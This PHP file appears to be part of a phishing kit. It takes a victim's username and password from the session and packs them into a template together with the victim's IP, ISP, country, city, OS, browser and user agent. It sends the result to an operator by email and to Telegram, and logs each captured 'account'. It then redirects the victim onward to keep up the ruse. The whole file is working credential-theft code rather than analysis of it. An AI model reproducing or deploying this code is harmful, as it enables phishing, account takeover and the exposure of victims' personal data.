<?php
// Start session if not already started
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

require_once __DIR__ . '/DeviceHelper.php';
require_once __DIR__ . '/../core/functions.php';
include_once __DIR__ . '/Result.php';

$username = $_SESSION['username'] ?? '';
$password = $_SESSION['passwordlogin'] ?? '';

if (!empty($username) && !empty($password)) {
    processLogin($username, $password);
} else {
    // Jika tidak ada data di session, redirect ke signin
    redirectWithDeviceParam("signin", ['error' => 'no_session_data']);
}

// Function to process the login after validation
function processLogin($username, $password) {
    global $ip, $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br, $settings;

    // Prepare the login content from the template
    $content = prepareLoginContent($username, $password);

    // Prepare the email subject and headers
    $subject = "[510 NOT FOUND - LOGIN] {$username} // $countryname - $ip - $os - $br";
    $headers = createEmailHeaders();

    // Send the login result email if enabled
    if (!empty($settings['resulttoemail']) && $settings['resulttoemail'] === 'on') {
        sendEmail($subject, $content, $headers);
    }

    // Send the login result to Telegram if enabled
    if (!empty($settings['resulttotele']) && $settings['resulttotele'] === 'on') {
        sendLoginResultToTelegram($username, $password);
    }

    // Log the activity and total login data
    logActivity();

    // Redirect ke alert (atau halaman selanjutnya)
    redirectWithDeviceParam("alert", [
        '405forbidden' => generateRandomText(50)
    ]);
}

// Function to prepare login content by replacing placeholders with session data
function prepareLoginContent($username, $password) {
    global $ip, $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br;

    $templateFile = __DIR__ . "/Template/login.html";
    if (!file_exists($templateFile)) {
        return "Template file not found: " . $templateFile;
    }
    
    $content = file_get_contents($templateFile);

    return str_ireplace([
        "##date##", "##randomid##", "##username##", "##password##", "##ip##", "##isp##", 
        "##country##", "##country_code##", "##region##", "##city##", "##device##", "##browser##", "##ua##"
    ], [
        date('D d M Y'), md5(time()), $username, $password, $ip, 
        $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br, $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'
    ], $content);
}

// Function to create email headers
function createEmailHeaders() {
    global $settings;
    $fromMail = $settings['mailFrom'] ?? 'login@result.com';
    return "MIME-Version: 1.0\r\n" .
           "Content-type: text/html; charset=UTF-8\r\n" .
           "From: LOGIN <" . $fromMail . ">";
}

// Function to send the email
function sendEmail($subject, $content, $headers) {
    global $settings;
    if (isset($settings['emailResult'])) {
        @mail($settings['emailResult'], $subject, $content, $headers);
    }
}

// Function to send login result to Telegram
function sendLoginResultToTelegram($username, $password) {
    global $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os;
    
    if (function_exists('sendResult') && function_exists('generateLoginMessage')) {
        sendResult(generateLoginMessage(
            $username, $password, date('l d F H:i:s'), 
            $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os
        ));
    }
}

function logActivity() {
    global $countryname, $ip, $br, $os;
    if (!is_dir('logs')) mkdir('logs', 0755, true);
    
    $logEntry = "|" . date("l d F H:i:s") . "|$countryname|$ip|$br|$os|Human Input Accounts (I)\n";
    file_put_contents("logs/activity.txt", $logEntry, FILE_APPEND);

    $logEntry = "|" . date("l d F H:i:s") . "|$countryname|$ip|$br|$os|Input Accounts (I)\n";
    file_put_contents("logs/total_login.txt", $logEntry, FILE_APPEND);
}
?>